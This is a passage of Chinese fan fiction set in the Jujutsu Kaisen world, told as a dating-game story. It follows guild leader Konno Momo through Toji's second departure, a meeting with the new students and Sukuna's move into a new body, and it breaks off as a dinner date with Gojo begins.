“或许现在说这些话,你不太明白,但这里确实是一个还不错的未来。你应该会喜欢这里。” 这里有不需要乞讨就能得到的食物,有努力就能得到回报的机会。 “原来如此。”两面宿傩恍然大悟,他勾起了一个讽刺的弧度,说道,“你是想要赶我走了。” 今野桃:“……” 啊?她刚刚是这个意思吗? “是有了新的、有趣的宠物,所以要将从前的那个赶走。”两面宿傩点点头说道,“也对,就算我不是全盛状态,想要砍死那几只宠物,应该也不会很困难。” 你可别说大话了,区区一根手指,你能打得过那三人中的哪一个? 今野桃扶额,吐槽的话到了嘴边又被咽下。 “宿傩,这个世界比千年前安全和平得多,我只是希望你能到处走走看看。” 她顿了顿,似乎斟酌了一下语言。 “没有想要‘弃养’的意思。” 两面宿傩定定地望着她,显然在甄别她说的是真是假。 今野桃挠了挠脸颊,补充道:“当然,你得在咒术师工会登记一下,该出任务的时候还是要出任务。” 这可是顶级劳动力! “……行吧。”两面宿傩放弃跟她在这个问题上纠结了。既然她说没有要“弃养”的意思,又让他按照心意行事,那他住在她家里,也是理所当然的吧,“但是我要拿到我应得的酬劳。” “放心,不会克扣你的工资。”她还做不出来这么没品的事情! “谁要那点工资。”两面宿傩不屑地说道,“还不够塞牙缝呢。” 他的眼界可是很高的!才不像天皇那样随遇而安。 庞大的身影盖住了她的身体,他一点一点将她吞没,动作轻缓得不像是传说中残暴的诅咒之王。 他收敛起了所有的尖锐,只用最柔软、最敏感的地方触碰她。 “我要你。”他简短地说道,“你驯养了我,就要永远对我负责。” 而他,也会奉上最珍贵的东西。 【两面宿傩好感值:100】 【两面宿傩—误前身(HE) ——不是爱风尘,似被前缘误。花开花落终有时,总赖东君主。】 120-130 第121章 禅院甚尔冷漠地咀嚼着口中的干草,对身边的打打闹闹充耳不闻。 他死前比两个弱智DK的年龄大,死后这么多年,结果看起来还是比他们成熟稳重,真不知道他们的年纪都长道什么地方去了。 “喵喵!” [不可以的,悟!]夏油杰极力阻止好奇心旺盛的好友想要品尝一下窗帘味道的动作。 可惜失败了。山羊在屋子里转了两圈,什么都啃了一口,最后一口咬在了挚友的脑袋上,然后呸呸两下,吐了一嘴的毛。 猫咪原本蓬松如蒲公英的毛一下子就被口水打湿成了一缕一缕,像被雨水浇灌的花朵。 [悟!!]可怜的小猫咪发出了尖叫,表情羞愤,艰难地用仅存的一只爪子试图把自己乱糟糟的毛发梳理整齐。 山羊装模作样地过来帮忙,结果就是添乱。小猫咪快要被气死了,缩进了沙发里拒绝跟好友说话。 五条悟咂了咂嘴,扭过头,无聊之下,它盯上了不远处那个白花花圆滚滚毛绒绒的屁股。 咯吱一口,山羊差点把整只兔子吃下去。 [你有病是吧五条悟!]兔子暴怒,转身就是一脚蹬在了它的鼻子上。 可惜这就是兔子最强的一招了,被避开后只能原地挨打。山羊再次感受到了天下无敌的快乐,到处拱火。 “咩咩——” [我记得你不是死了吗,是小桃复活了你?她要你做什么?]五条悟把脑袋抵在地板上,试图从缝隙里看见那只黑兔子。 藏在沙发下面的兔子翻了个白眼:[她不是你的学生吗,你自己去问她啊。] [不要,我就要问你。]五条悟不讲道理地说道,[快说,不然把你吃掉哦。] 按理来说,小桃不应当知道禅院甚尔这个人才对。他将小桃带进咒术界的时候,禅院甚尔都死了好几年了。 [无非就是做些脏活罢了。]禅院甚尔才不会将自己被骗得团团转的事情说出来,[身为“术士杀手”,我这次可是杀了不少御三家的咒术师。] [这样啊。] 五条悟淡淡地说道,并不因此而生气。 [诶,对了,你去看了小惠吗?]他忽然想起来似的说道,[那孩子被我和小桃养得不错吧!] 禅院甚尔沉默了,不得不承认,小惠生活得比他想象中要好。但很显然,五条悟在其中起到的作用不大。 [真不要脸,明明是她的功劳吧。]他嗤笑道。 [这有什么关系,我们两个是一体的嘛。]五条悟满不在乎地说道,[我们马上就要结婚咯。] 此话一出,对两个男人都造成了大量伤害。 [不要再考虑一下吗,悟。]夏油杰强笑道,[毕竟这可是终身大事呢……] 不等五条悟回答,禅院甚尔轻蔑开口:[等你们结了婚再说吧,小鬼。] [嫉妒吧!是嫉妒啊大叔!]五条悟立刻大声骂道,[你们这些没老婆的家伙!] [放屁,我有……过老婆好吧。]禅院甚尔反驳道。 五条悟笑了,他歪着脑袋开口:[那你老婆呢?] 这种喜欢挖别人伤口的臭小鬼真是太讨厌了!当初怎么就没有一刀捅死他呢! 禅院甚尔磨着牙,眼睛里满是杀意。 [我记得,是因为生病所以去世了吧。]五条悟不依不挠地说道,非要将这个不自量力的竞争对手踩进泥里不可。 身体都不纯洁了的男人麻烦离好女人远一点,也不看看自己配不配得上。 [五条悟,你别太过分了。]禅院甚尔眸光阴沉,一字一句地说道。 [嗯?我做什么了?]五条悟笑嘻嘻地说道,[承认自己没能保护好心爱的人,所以破防了?所以说你就是蠢啦。] 当初今野桃作为普通人都能调查到禅院甚尔的身世,五条悟就更别说了,即便不动用五条家的势力,他也能将这个男人查得清清楚楚。 他那戏剧化的、可笑的前半生。 [你懂什么……] [爱是很珍贵的东西。]五条悟弯腿坐下,舔了舔膝盖上的毛,[将心送出去,却不考虑对方是否能够承受得起,也不考虑落空的结果,难道不是蠢吗?] 沙发底下能听到沉重的呼吸声,如同野兽受伤后的喘息。 [自顾自地爱上脆弱的鲜花,当然就要承担鲜花枯萎的结果啦。] 绝望、愤怒、堕落……这些都是笨蛋才会做的事情。 或许,这也是前期五条悟的好感值总是卡住的原因吧。 [……你只是没有遇到那个人而已。]禅院甚尔艰涩地说道。 [那说明你连自己的心都控制不好,太逊了。]五条悟撇撇嘴,[都出身于禅院了,还不懂得那个道理吗。] 他是绝不会将情感寄托在易逝的东西上的。 短暂的寂静后,一道黑色的影子冲了出来,锋利的爪子狠狠抓在了山羊脆弱的鼻子上,留下了几道血痕。 “咩!!”山羊痛呼一声,和兔子打成了一团。 今野桃回来的时候,看见的就是差点变成废墟的客厅。仿佛被龙卷风席卷过,到处都是破破烂烂和东倒西歪的家具。 今野桃:“……” 看样子,搬家的事情迫在眉睫了。 不,比起搬家,果然还是隔离更好一点吧。 “这是怎么回事?”她问貌似乖巧的小猫咪。 “喵~”小猫咪眨了眨眼睛,尾巴在身后轻轻摇晃,张口解释。 [悟提了一下那位先生过去的事情,好像是说他没能保护好从前的妻子吧,那位先生就生气了。] 小兔子瞥了一眼和山羊一个鼻孔出气的猫咪,不屑地哼了一声。 “咩咩咩!” 山羊走过来告状:[他打得我好痛哦!] 严惩!必须严惩! 今野桃叹了口气,摸了摸山羊的脑袋,弯腰将小兔子抱了起来。 山羊:??? 猫咪:??? 不是,是对方先动手的喂!挨打的是他耶! “我跟甚尔先生有些事情要处理,你们在家好好反省一下。” 大门关上,留下两只小动物面面相觑。 没了需要同仇敌忾的第三者,这对好友接下来会怎么做呢?。 走在街道上,今野桃摸了摸小兔子的脊背,轻声说道:“甚尔先生,一个好消息,一个坏消息,你要先听哪一个?” 兔子的耳朵颤了颤。 坏消息吧。 今野桃清了清嗓子,开口道:“抱歉,甚尔先生,之前答应你的,要让小惠成为禅院家家主的事情,可能做不到了。” 原来是这个。 小兔子蠕动了一下三瓣嘴,无所谓地说道:[这种事情,等他长大以后自己想办法去吧。] 今野桃清了清嗓子,笑容古怪地说:“接下来就是好消息了,甚尔先生,禅院家没了。” 没……没了? 禅院甚尔愣了两秒。 “因为意图暗杀咒术师工会的会长、在咒术界制造叛乱,禅院家目前已经被清剿,主要成员全部死亡,留下了一些旁支,也基本上改了名字。” 禅院甚尔以为自己幻听了,久久没能回过神。 “不仅仅是禅院,还有几个家族也是一样。”今野桃感慨道,“咒术界现在算是变天了吧。当初的承诺,应该算是完成一半?” 禅院甚尔的眼中闪过一丝迷茫。他的脑子被搅成了一团乱麻,都快听不懂她的意思了。 将他禁锢十几年的牢笼,竟然就这样消失得干干净净吗?为什么她会说得如此轻飘飘,仿佛这是一件再简单不过的事情。 今野桃抱着兔子,在无人的巷子里,将他恢复了人形。 他的表情是僵硬的,手指无意识地摩挲着关节,像是一支射出去后却找不到靶子的箭。 “很抱歉呀,甚尔先生。不过我有清点禅院家的库房,里面的东西可以留一些给小惠。”今野桃不好意思地挠了挠脸颊,“但大部分我得收缴起来,你不要生气哦。” “……不会。”禅院甚尔扯了扯嘴角,那道疤痕清晰可见,“或者说,这就是最好的结局了。” 比他预想过的,还要好。 看不起女人的禅院家,最后死在女人的手中。多么有趣啊,像是一个诅咒。 “既然如此,那我们的约定也就结束了。”他沙哑着嗓子说道,“我离开之后,你就不要再来打扰我长眠了。” 眼看他随手撕下旁边垃圾箱上的铁片就要割开自己的血管,今野桃连忙阻止:“等等,小惠还……” “不是还有你吗。”禅院甚尔笑道,“那家伙,运气比我好。” “至少、至少道个别吧……” “没必要。”禅院甚尔耸了耸肩膀,“我们之间原本也没有那么亲密。” 今野桃握着他手腕的手缓缓松开。就在将要垂落时,却又突然被他攥住。 他向前迈开了一小步,最后抱住了她。 真是温暖啊,足以让人感到安心的力量。 “一直这样强大、幸福下去吧。”他喟叹道,“帮我转告小惠,人生变幻无常,要及时行乐。” 怎么感觉这句话怪怪的? 今野桃疑惑地皱起了眉。 “还有,之前杀掉‘星浆体’任务的尾款一直存在孔时雨那里,我已经让他转交给你,记得查收。” 这是他,最后能给出的东西了。 再多的,他也给不了。就让他带着仅存的自尊,重新陷入永恒的黑暗之中吧,不要再让他看见光明了,尤其是这光明不独照他一人。 禅院甚尔的下巴抵着她的颈窝,闭上了眼睛。 今野桃抬起手,接住了男人缓缓滑下的身体。 好感值起伏几次,最终定格在了一个微妙的分界线上。 【禅院甚尔好感值:80】 【禅院甚尔—恨此生(BE) ——浮生长恨欢娱少,肯爱千金轻一笑。】 第122章 今野桃是抱着兔子走的,结果回来却是一个 人。 她的表情虽然平静无波,但熟悉她的人都能从中品味出一点伤心。 那个男人是离开了,还是……死了? 两只小动物心中揣测,嘴角忍不住地上扬。 死了好,死了好啊。 “喵?”小猫咪假惺惺地跑过来安慰她。 [旧的不去,新的不来。] “咩咩!” [没错,那个男人一看就不是好东西!] 所以完全没必要为了那个男人而伤心啦!他和杰不好吗! “谢谢你们的关心,我只不过是有点触景生情罢了。”禅院甚尔毕竟是她喜欢过的男人嘛,如何能在见到他死亡的时候无动于衷呢。 山羊歪着头想了想,果断把脑袋搁在了她的膝盖上,相当大方地开口道:“咩咩……” [那你摸摸我好了。摸一摸毛绒绒的东西,心情会变好的吧。] 山羊的毛是软中带硬的,有点刺刺的手感。但它的毛层比猫咪要厚实,深入到下面的时候,有一种在抚摸棉花的感觉。 今野桃的心逐渐平静,那点伤心很快就被抛到了脑后。 没错没错,旧的不去,新的不来。 一根尾巴若有似无地碰了碰她,今野桃低头看去,是旁边端坐的小猫咪。见她望过来,小猫咪的眼睛弯了弯。 “喵喵。” 好啦,该去休息了吧。 今野桃掐了掐它的尾巴尖,忽然开口道:“我之前是不是说过,要惩罚你。” 猫咪的笑容僵在了脸上。 不是,这都过去这么久了,忘记它不好吗? “咩咩!”噢噢!是惩罚! 山羊高兴地喊了起来。反正跟它没关系,它乐得看热闹。 “咪……”猫咪发出了可怜的叫声,你真的忍心惩罚它这么可爱的小猫咪吗? 山羊眨了眨它湛蓝色的瞳孔,开口道:“咩咩咩!” [猫咪发出这种叫声,多半是发//情了,给它来个绝育套餐吧!] 小猫咪浑身一震,不敢置信地看向好友。 如果不是它传递消息,他现在还被蒙在鼓里呢!它跟好友心连心,好友跟它玩脑筋是吧! 猫咪张开了血盆大口,咔吱一声咬在了山羊的耳朵上。 [嗷嗷嗷!杰!放开!] [混蛋!受死吧!] 失去了共同的敌人兔子,山羊和猫咪终究还是翻脸了。 真是脆弱的友情啊。 今野桃感慨道。 然后她伸出手,左手抓一只,右手抓一只,把它们俩都抱住了。 反正玩家心胸宽广,再来几只也躺得下。 “行了,陪我休息一会儿吧。”她的声音里难掩疲倦,“在外面跑了一天呢。” 她倒在床上,陷入了柔软的被褥里。 望着天花板,她喃喃道:“工会里的事情太多了,真是恨不得把自己劈成几瓣。” 她的声音越来越低,渐渐地就听不清楚了。漫长的沉默后,取而代之的是细微又有规律的呼噜声,像风吹过窗户的缝隙。 两只小动物对视了一眼,各自寻了一块舒服的地方躺下。猫咪融化成了一滩液体,毛茸茸的尾巴搭在她的肚子上,闭上了眼睛后,胡须偶尔还会抖一抖。 山羊卧在她的胸口位置,爪子勾住她的衣服,小小一簇的尾巴压着她的手臂。 绵软的呼吸声交织在一起,让他们坠入更深的梦境之中…… “好紧张好紧张……”栗色齐肩发的女生检查着自己的妆容,左思右想之后,又从口袋里掏出了一根口红,对着手机的屏幕补起妆来。 “没必要吧。”粉发男生挠了挠头,“钉崎你有点太夸张了啦。” 啪地一声,口红盖上。 钉崎野蔷薇翻了个白眼说道:“虎杖你刚刚进入学校,不懂很正常。不过我建议你还是小点声吧,桃桃会长的迷弟迷妹超多的,我怕你走在路上被人套麻袋。” 她自认为是会长的理智粉,才不会这样做。但其他人可就说不一定了,之前有人公然发表对会长的不恰当言论,第二天就被人堵在没人的巷子里打了一顿。 至于嫌疑人是谁,那显然无人知晓。咒术师的术式那么多,谁说得准呢。 反正据说那人就隐隐约约听见一个“不许动”,人就动不了了。 “诶?”虎杖悠仁还想说什么,却被钉崎野蔷薇一把捂住了嘴。 “嘘,安静”钉崎野蔷薇压低了声音,“桃桃会长的狂热粉来了。” 狂、狂热粉? 双手插兜、面无表情的酷哥同期走了过来,对两个同学点了点头,身后还跟着一对姐妹花。姐妹花打扮得有点像地雷系,看见虎杖也只是瞥了一下。 呃……所谓的狂热粉,总不会是伏黑吧? “今野会长已经到了吗?”枷场美美子扫了他们一圈,开口问道,“你们还在这里干什么,不去门口迎接?” “没错,二年级的肯定已经去了,我们还落在后面。”枷场菜菜子不满地说道。 确认了,果然这对姐妹就是桃桃会长的狂热粉! 虎杖悠仁确信了。 “走吧走吧,可不能让二年级的大出风头。”钉崎野蔷薇整理了一下衣服,率先迈开步子。她可是把那位会长看做偶像的!正是因为那位会长施行的“老带新”策略——发现一个未成年且未在工会登记过的小咒术师可以获得高额奖励,她才早早地就接触到了这个神奇的世界。 桃桃会长是她的贵人! 想到这里,她的脚步更快了。 唉,可惜桃桃会长现在都不太出现在学校里了,不然她绝对要成为桃桃会长最喜欢的学生! 虎杖悠仁一眨眼的功夫,三个女生就蹿到前面去了。 他只能老老实实地跟在同期男生的身边,落在队伍后面。 “伏黑。”虎杖悠仁拉了拉伏黑惠的袖子,很小声地说道,“那位桃桃会长是什么样的人啊?”好像很厉害的样子! 一向话不多的男同学像是按下了启动键的机器人,竟然有点滔滔不绝了。 “小桃会长是一个温柔、和善、美丽、强大的领导者,她是最强的咒术师,是让咒术界焕发新生的改革派首领,是……” 虎杖悠仁痛苦地捂住了耳朵。 他错了,这位才更是重量级。 “你很了解这位桃桃会长吗?”他连忙打断同期堪称夸张的溢美之词。 伏黑惠点点头:“我受了她很多照顾。” 原来如此。 虎杖悠仁在脑海中构造出了一个容颜端丽、威严与优雅并存、举手投足间都带着属于上位者气质的长者形象。 “以前的咒术界有很深的阶级划分,那些家系出身的咒术师们将权力瓜分后视作禁脔,底层咒术师除非有着极高的天赋,否则根本无法在咒术界生活下去。”伏黑惠替这个半路被发掘出来的插班同学解释道,“直到咒术师工会出现才打破了这个垄断。具体的你可以上论坛搜索一下。” “噢噢!”虎杖悠仁大概懂了这位会长为什么这么受欢迎了,那个论坛确实给他这种对咒术界毫无了解的小咒术师提供了很好的信息渠道。 不过比起搜索那些历史,他更关心的果然还是…… “那,上面写的‘会长和她的……’嗷!” 虎杖悠仁被用力踩了一脚。 伏黑惠的脸色比他能召唤出来的玉犬的脸还要黑。 “那是谣言!都是胡说八道!”他咬牙切齿地说道。 虎杖悠仁挠了挠头,不敢吭声。 可是谣言的话,管理员不是会删帖的吗? “快点吧。”伏黑惠拒绝讨论这些了,他给同期一个忠告,“好好表现,说不定被会长记住。” “我懂我懂。” 不就是给领导留一个好印象嘛! 虎杖悠仁挺了挺胸,他以前可是老师们最喜欢的学生了! 走到校门口,曾经短暂见过面的二年级的学长果然都在了,不过有一个女生很陌生,难道是三年级的学姐? “学长,学姐。”他打了个招呼,“今野会长还没来吗?” 原本正聊天的几人突然安静了下来。 虎杖悠仁茫然地抓了抓头发,不明所以地问道:“怎么了?” 那位陌生的学姐上前一步,向他伸出了手:“你就是被悟意外发现带到高专来的插班生吧?你好,我叫今野桃,也算是你们的学姐。” “哇!”虎杖悠仁发出惊叹。 他什么都不必说,真心话已经全部从表情和眼神中流露出来了。 “学姐你好,我叫虎杖悠仁!”虎杖悠仁元气满满的握住了她的手,轻轻晃了晃。 今野桃抿嘴一笑:“悠仁真是可爱啊。” 二年级的学长:“……” 完了,来了个特别会说话的新生! 第123章 虎杖悠仁当真是这么多攻略对象里,好感值给得最大方的一个了,第一次见面就慷慨地给了50点。 他阳光开朗的样子让今野桃想到了金毛小狗——这个世界上哪里有坏人啊。 不过据说金毛犬对同类非常排斥。 只能“阿巴阿巴阿巴”的狗卷棘眼泪都要飙出来了,他的手指飞快地在手机键盘上按动,恨不得一秒钟能打一百个字。 [我也想说的,小桃会长今天也很漂亮!] 今野桃低头看了一眼信息,无奈又好笑地拍了拍狗卷棘的肩膀:“我知道了,谢谢棘。” 虽然被安慰了,但还是感觉自己输了啊…… 狗卷棘埋在围巾下的半张脸不满地鼓了起来。真是糟糕,习惯了乙骨忧太的沉默寡言,突然一下子跳出来这样一位强有力的竞争对手,狗卷棘的危机感一下子就涌上来了。 不行,他一定会是小桃会长最喜欢的学生! 就在他暗暗给自己鼓劲的时候,今野桃又看向了一脸乖巧模样的虎杖悠仁。 “悠仁在学校里还习惯吗?”她温柔地问道。 “非常习惯!不管是老师还是同学都对我很好!”虎杖悠仁大力点头道,“在原来学校的时候,其实感觉自己有点格格不入,但到了高专以后,我真的非常喜欢这里!” 作为配羂索特别培养出来给诅咒之王使用的容器,他绝对在虎杖悠仁的身体上花费了大力气。和普通学生相比,他差不多算是“超人”了。 虎杖悠仁偶尔也会有类似于“超人”的麻烦,比如要把自己伪装成和同龄人差不多的样子。 ——至少一拳打碎墙壁、一步跑出五十米这样的事情,是绝对不能做的吧。 但来到高专以后他才发现,什么,一步只能跑五十米?!都不能瞬移,太差劲了吧。啊,一拳只能打碎墙壁吗?那还得再练练,学习一下把咒力包裹在拳头上,然后打出超音速吧! 在短暂的迷茫后,虎杖悠仁快乐地融入了高专。 “那就好,如果有什么疑惑,可以多搜搜论坛,里面有很多热心肠的咒术师愿意为你解惑的。”今野桃微微颔首,嘴角漾开一抹柔和的弧度,像是春风拂过水面泛起的涟漪,让纯情的男高中生不自在地挠了挠脸颊。 之前想的那个形象已经被彻底抛到了脑后,什么雍容的年长者、威严的领导者……小桃学姐明明看起来跟他们相差不大嘛。 “啊哈!” 一个爽朗的声音由远及近,速度非常快。 众人回头,看见一个身材高大的白毛男人。 “五条老师!” 他迈着一双大长腿,抬着手朝众人打招呼。 “你们都围在这里做什么呢?”他毫不客气地站在了今野桃的身边,一只手按在了她的后背,厚实的胸肌抵着她的肩膀,两人之间几乎没有多少距离,“是来欢迎你们的‘麻辣教师’吗?!哇,我真是太感动了!” 枷场姐妹冷笑了一声。 “多少有点自知之明吧,毫无师德的五条老师。”美美子冷酷地说道,“我们怎么可能会来欢迎你,我们明明是来欢迎小桃会长的。” “噢噢。”五条悟并不生气,而是煞有介事地说道,“一样的,一样的。” 哪里一样啊! 不要乱蹭我们会长的热度! “走吧走吧,这次让大家聚集在一起,可是有非常重要的事情宣布呢!”五条悟招呼着大家走进学校。 虽然今野桃说了可以让五条悟随意选择在咒术师工会中的任意职位,但他什么都没选,还是回到了学校,继续做他的老师。 也算是意料之中吧。 因为太过强大,所以做事的时候就算天真一点也没关系。 再说了,他的学生都当上会长了耶,总不会比那些“烂橘子”更加糟糕了吧。 “老师找我们有什么事情吗?” 教室里,一二年级的学生都到齐了,熊猫举手问道。 “嗯嗯,是非常重要的事情啦。”五条悟用脚尖勾来一把椅子坐下后,像没有骨头似的趴在椅背上,“是关乎我们学校未来的事情!” 学生们的表情一下子就都变得严肃起来了。 什么,竟然…… “是姐妹校交流会!” 五条悟的话一说,一二年级的学生脸上都露出了疑惑的表情。 姐妹校交流会?那是什么? “本来去年就该举办的啦,不过因为发生了太多的事情嘛,所以就取消了,今年形势稳定,京都校那边想要干脆一二年级的一起办了。”五条悟的手一扬,“我相信大家一定能赢过京都校!” 大家似懂非懂地点点头。 明白了,就是学校和学校之间的交流和比拼! “是我们去跟京都校PK吗?”熊猫惊讶地说道,“还有这种活动呢!” “听起来好像很有意思的样子。”禅院真希笑了笑,只是目光有点恍惚,不知道是不是想起了自己远在京都校的姐妹。 虎杖悠仁大概是最了解这种活动的人,他高举着手喊道:“我知道我知道!” 他叽里咕噜地给大家解释了一下什么叫做“联考”。 竟然是考试吗……众人面色凝重地作出思考的模样。 “如果大家输了。”五条悟一拍手,引起了在场学生的注意力,“就会得到来自麻辣教师的‘爱的鼓励’哦!” “爱的鼓励”?不会是加练吧…… 不要哇! 在大家如丧考妣的沮丧之下,五条悟笑得更加开心了。 今野桃清了清嗓子,从随身的挎包里取出了一叠资料。 “放心好了,京都校那边的实力,其实相较我们而言是要稍弱一点的。”她将资料散下去,淡定地说道,“只要制定好作战计划,我们的胜率相当高。” 听见她这样说,大家如释重负般呼出了一口气。 “我们知道了!”乙骨忧太握紧了拳,“我们一定会赢的!” 熊猫摸着下巴说道:“我觉得擂台赛的话,每一场应该都会换人吧。否则只要忧太往场上一站,岂不是必胜了?” 好歹忧太可是被盖章确认的特级咒术师啊!现在还活着的特级咒术师,不就只有五条老师和他了吗? 至于九十九由基,那家伙因为消极怠工,已经降到三级了。如果她还要继续摸鱼下去,成为四级咒术师指日可待呢。 乙骨忧太的耳尖腾地烧红了起来,像被抹上了一层胭脂。在对上今野桃赞许的目光后,更是慌张得不行。喉结上下滚动几次,最后只是发出了含混的咳嗽声。 他似是想对她笑一笑,但那抹弧度扬起来又落下,只能看见一小截染上粉色的脖颈。 “鲑鱼!”没错。 今野桃发现了被大家忽略的狗卷棘,浅浅笑道:“还有棘呢,细数整个京都校,能比棘厉害的也没有几个。” 狗卷棘已经凭借实力和勤奋,成为了一级咒术师。只要未来不断努力,登上特级的位置也不是没有希望。 狗卷棘被夸得有点不好意思,但当她的手伸过来时,仍然乖巧地用头发蹭了蹭她的掌心。 啊,有点像软乎乎的狮子犬。 今 野桃使出了超强的意志力,才让自己没有过长时间停留。 禅院真希没有和幼稚的男高争夺注意力,而是仔细地阅读了一番珍贵的资料,随后露出了自信的笑容。 “也不能太过大意。”她沉稳地说道,“京都校还是有几个实力不错的对手。比如三年级那个叫做东堂葵的一级咒术师,上面写他是前任特级咒术师九十九由基亲自教出来的徒弟,非常擅长搏击。” “还有那个叫加茂宪纪的准一级咒术师,以前是出身加茂,继承了加茂的赤血操术。” 幸好他还在读书,才得以避开了灭门之祸。 “谢谢小桃会长。”熊猫感慨道,“真是帮大忙了呢!” 免去了繁复的调查过程,将最重要的情报给了他们。 “不客气呀。”今野桃对熊猫比了个wink,“毕竟我也希望大家能赢嘛。” 熊猫的脸红了红,嘿嘿笑着。 五条悟咂了咂嘴,悄悄伸出手,拽了一下今野桃垂下的发尾。 “桃酱,你晚上有空吗?”他掐着嗓子,像是女高中生那样说话。 今野桃吃痛地往后仰了仰,不轻不重地瞪了他一眼。都多大的人了,怎么还做出这样幼稚的举动。 “看情况。”她没好气地说道。 “那我们晚上去约会吧!”五条悟捧着脸,笑嘻嘻地说道,“就这么说好了哦。” “约会?!”虎杖悠仁惊呼,“难道五条老师和小桃会长真的是……嗷!” 他又被伏黑惠踩了一脚。 “五条老师不要随便说出这样轻浮的话啊。”伏黑惠严肃地说道,“会让别人误会的。” “被我闻出来了哦。”五条悟竖起一根手指,“来自单身狗的羡慕。” “咳咳。”今野桃打断了他们没营养的对话,“总之,晚上再说吧。我还有事,就先走了。” 望着她离开的背影,美美子生气地跺了跺脚。 “都怪你啦,把今野会长气走了!”她本来还想找机会和今野会长好好聊聊的。 五条悟耸了耸肩膀:“好了,我们来特训吧!” 离开高专,今野桃在下属的簇拥中上了车。她闭上眼睛,表面上看在休息,其实意识已经沉到领域之中了。 “喏,让你看了一下虎杖悠仁,满足了你的好奇心,现在你该离开我的身体,去另一具容器了吧。” 身体里住着另一个房客,还是太不习惯了。 “不着急。”两面宿傩啧了一声,“我觉得晚上可能会发生一些事情。” 约会?他看有人是在想屁吃。 第124章 两面宿傩非常认真地表示自己想要留下来,被今野桃严词拒绝了。 “说好了让你看一眼虎杖悠仁就安心去你的新容器里,怎么能说话不算话呢。” 如果不是因为高专现在查得严,她才不会答应这样无理的请求。让两面宿傩寄宿在自己体内带进来,可比带一个陌生人通过结界要方便得多。 生得领域中,她叉着腰,振振有词地说道。 但是她说话不算话的次数还少吗。真是双标。 两面宿傩敢怒不敢言,只好委委屈屈地离开了她的身体,进入到了他们研究出来的属于他的肉//体之中。 这具身体和两面宿傩果然很匹配,除了弱,没有任何排斥反应。 “等我收集到了更多手指,实力就能提升上去了。”两面宿傩活动了一下关节,满意地说道。 没有第三个人的实验室里,今野桃看着复活了的千年前的诅咒之王,表情有一瞬的恍惚。 人的大脑还真是有趣,最开始和两面宿傩在一起时的那些痛苦、愤怒的回忆已经完全想不起来了,取而代之的是他温驯、乖巧的有趣画面。 今野桃大概能够理解那句话了——当自己现在足够强,从前的黑历史就不再是黑历史,而是来时的路。 “在想什么呢,这么入神。”身材高大的男人逼近,完全挡住了头顶明亮的白炽灯。庞大的影子像饥饿的野兽笼罩住她,他低下头,在她的颈边嗅闻。 气味有点变化,但又不是完全陌生。 两面宿傩的嘴角勾起一抹笑,然后抬起了她的下巴。 这是一个缱绻悱恻的吻,柔软的唇瓣互相挤压,舌尖轻轻舔过缝隙,如蜻蜓点水般掠过。 谁能想到,诅咒之王也会有这样的一面。 “……好了,我还要工作。”今野桃拽了拽他的粉色短发,把一顶棒球帽扣在了他的头上。 为了遮掩住他的异常之处,她给他准备的是一套oversize的休闲装,能够很好地藏住他多出来的两只手臂。 “你自己去玩吧,但是你知道我的脾气的,宿傩。”今野桃不轻不重地提醒道,“不要做得太过火。” “知道了。”两面宿傩懒洋洋地回道,“不会让你难做的。” 啧,被无形的锁链绑住的感觉真是不爽。但有什么办法呢,像她这样有能力、有抱负的人注定要登上高位,注定会承担更多的责任,也注定会被更多人追逐。 好东西谁都想要,但他自信没有人能争得过他。 今野桃相信了两面宿傩的话,毕竟千年前他就做得很好。 不过出于安全考虑,她还是在咒术师工会上更新了一条信息。 【诅咒之王两面宿傩已复活,目前被咒术师今野桃调伏,阵营为中立,不会主动伤害任何咒术师或普通人,但会反击一切挑衅者,如有遇见,请谨慎远离。】 消息发出后,溅起了多大的水花已经不被她关心了,反正该提醒的也提醒过了。 她的工作很忙,没空关心这些琐事。 午饭简单地吃了两口,不知不觉间下午就过了一半。今野桃看了一眼时钟,想了想,还是打电话给了伊地知洁高。 “悟那边有什么特别的事情吗?”她问道。 伊地知语气疑惑:“特别的事情?没有吧,我听说他们一直在做特训,非常积极呢。” 这样吗,难道今天晚上就只是一次普通的约会? 今野桃半信半疑地想。 “哦对了,好像是因为人手不够,五条老师把七海学长也叫回来帮忙了。” ……懂了。 今野桃明白了。 暮色将至,天边褪去了白日的湛蓝,转而泛起了一层淡淡的橘色。各式建筑被镀上了一层金边,轮廓沐浴在夕阳里,显得越发柔和。 几只鸟儿在天际划过弧线,显然也归心似箭。 今野桃走出工会大楼时,就看见五条悟倚靠在小轿车的门边上,一只手插在口袋里,一只手把玩着手机,将它转来转去,一副百无聊赖的样子。 他摘掉了经常蒙着的绷带,只是戴了一副黑色的墨镜,月光般的发丝垂下,折射出来的柔光滤镜让他散发出一种不可思议的朦胧光彩。 那身黑色的高专制服也被换下了,他穿着一身白色的西装,没有系领带,丝质衬衫的领口少扣了一粒扣子,显出了几分不羁。 剪裁利落的西装勾勒出宽肩窄腰的诱人身材,熨烫平整的西装裤包裹着笔直的长腿,他的袖口露出了一小截冷白色的手腕,骨节分明的手指自然垂下。 当他不说话的时候,有一种非凡的神性。 “悟。”今野桃喊出了他的名字。 于是神明抬头,向世人投下了目光。 “桃酱!”他露出了一个愉快的笑容,“我来接你下班咯。” 他说得暧昧,惹来旁边人意味不明的注视。 今野桃无奈地笑道:“知道了知道了。” 这么担心她不赴约吗。 坐上了汽车的副驾驶,五条悟很自然地来到了主驾驶。 她迟疑几秒,开口道:“你开车?” “嗯哼,不相信我的车技吗?”他自信开口道,“我的开车技术很不错的啦。” 今野桃半信半疑地点头:“没关系,我还没听说过被车撞死的特级咒术师呢。” 她没有去评级,但能够打败五条悟,所有人都很清楚她的实力绝对能够得上“特级”这个名号。就像九十九由基,虽然现在工会的个人信息上显示她已经是三级咒术师了,但不会有人真的以为她就是个三级咒术师。 “哼哼,竟然对伟大的五条悟大人不尊重!”五条悟嚷嚷道,“罚你等下只准吃点心,不许吃别的!” 很好,看样子这个点心一定有问题。 今野桃装作没听懂,只是笑而不语。 位于东京银座的最顶层,餐厅的露台上已经被精心布置过一番,除了中间的那张桌子外,没有第二桌客人。 铺着雪白桌布的圆桌上,水晶杯倒映出微微摇晃的烛火,摆放整齐的银质餐具旁,一个小巧的花瓶里插着几朵还沾着水珠的白色玫瑰。 今野 桃不动声色地侧过头,看见他轻颤的睫毛和抿得笔直的嘴角。 他也在紧张吗。 如果她现在转身就走,他会是什么表情呢? 深呼吸了几次,将心里不合时宜的邪恶念头压下。可恶,都怪她在上车前存了个档,谁能克制把每个选择都选一遍的好奇心呢。 大概是她停下的时间太久,五条悟伸出手,拉住了她。 “走吧。”他的声音都带着不自知的紧绷感,掌心顺着她的手臂下滑,最后紧紧扣住了她的五指。 